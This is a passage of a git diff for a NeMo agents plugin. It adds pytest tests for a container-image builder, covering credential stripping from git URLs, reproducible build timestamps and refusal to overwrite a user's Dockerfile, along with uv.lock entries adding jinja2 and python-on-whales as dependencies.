SSH URLs keep their canonical shape unchanged. + assert _strip_credentials("git@github.com:org/repo.git") == "git@github.com:org/repo.git" + + def test_source_date_epoch_pins_build_timestamp(self, agent_config: Path, monkeypatch: pytest.MonkeyPatch) -> None: + """``SOURCE_DATE_EPOCH`` makes ``image.created`` reproducible across runs.""" + from nemo_agents_plugin.container.metadata import extract_agent_metadata + + monkeypatch.setenv("SOURCE_DATE_EPOCH", "1700000000") + meta = extract_agent_metadata(agent_config, agent_author="x") + # 1700000000 = 2023-11-14T22:13:20 UTC. + assert meta["build_timestamp"].startswith("2023-11-14T22:13:20") + + def test_builder_refuses_pre_existing_dockerfile_generated(self, tmp_path: Path, agent_config: Path) -> None: + """``Dockerfile.generated`` collision triggers a refusal, not silent overwrite. + + The cleanup in ``finally`` would otherwise unlink the user's file + once the build finishes. + """ + from nemo_agents_plugin.container.builder import build_agent_image + + user_file = agent_config.parent / "Dockerfile.generated" + user_file.write_text("USER OWNED — DO NOT DELETE\n") + + with pytest.raises((SystemExit, ClickExit)): + build_agent_image(agent_config, nat_version="1.4.0", agent_author="x") + + assert user_file.exists() + assert "USER OWNED" in user_file.read_text() diff --git a/uv.lock b/uv.lock index e682fbb541..9a43dcd91e 100644 --- a/uv.lock +++ b/uv.lock @@ -3552,9 +3552,14 @@ dependencies = [ ] [package.optional-dependencies] +container = [ + { name = "jinja2", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "python-on-whales", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, +] test = [ { name = "fastapi", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "httpx", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "jinja2", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "pytest", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "pytest-asyncio", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, ] @@ -3567,6 +3572,8 @@ requires-dist = [ { name = "fastapi", marker = "extra == 'test'", specifier = ">=0.115" }, { name = "httpx", specifier = ">=0.27" }, { name = "httpx", marker = "extra == 'test'", specifier = ">=0.27" }, + { name = "jinja2", marker = "extra == 'container'", specifier = ">=3.1" }, + { name = "jinja2", marker = "extra == 'test'", specifier = ">=3.1" }, { name = "langchain-aws", specifier = "==1.1.0" }, { name = "nemo-agents-example-calculator", editable = "plugins/nemo-agents/examples/calculator-agent" }, { name = "nemo-platform", editable = "packages/nemo_platform" }, @@ -3577,10 +3584,11 @@ requires-dist = [ { name = "nvidia-nat-langchain", specifier = ">=1.7.0,<1.8" }, { name = "pytest", marker = "extra == 'test'", specifier = ">=8.0" }, { name = "pytest-asyncio", marker = "extra == 'test'", specifier = ">=0.23" }, + { name = "python-on-whales", marker = "extra == 'container'", specifier = ">=0.60" }, { name = "pyyaml", specifier = ">=6.0" }, { name = "rich", specifier = ">=13.7.1" }, ] -provides-extras = ["test"] +provides-extras = ["container", "test"] [[package]] name = "nemo-anonymizer" @@ -8681,6 +8689,19 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/99/78/4126abcbdbd3c559d43e0db7f7b9173fc6befe45d39a2856cc0b8ec2a5a6/python_multipart-0.0.27-py3-none-any.whl", hash = "sha256:6fccfad17a27334bd0193681b369f476eda3409f17381a2d65aa7df3f7275645", size = 29254, upload-time = "2026-04-27T10:51:24.997Z" }, ] +[[package]] +name = "python-on-whales" +version = "0.81.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pydantic", extra = ["email"], marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "typing-extensions", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/e9/81/4b545de811e41ff90762a1c7045fcae215f20f4114eebddedab8eab6f63e/python_on_whales-0.81.0.tar.gz", hash = "sha256:bb6172014e3fe949f908092748bddf34df758cb92c2c3d0536b75bf236abce1b", size = 115066, upload-time = "2026-03-09T14:17:43.534Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a9/cb/5049e041a1d0e6f6cb6ac8737a8215fb4e67cb147f140ef31e67361dc61a/python_on_whales-0.81.0-py3-none-any.whl", hash = "sha256:6d5f81f56d0f95fd311a7cce29a01a1a60841074e4936000dc5f2dc9a7ffafac", size = 119240, upload-time = "2026-03-09T14:17:42.195Z" }, +] + [[package]] name = "pytokens" version = "0.4.1"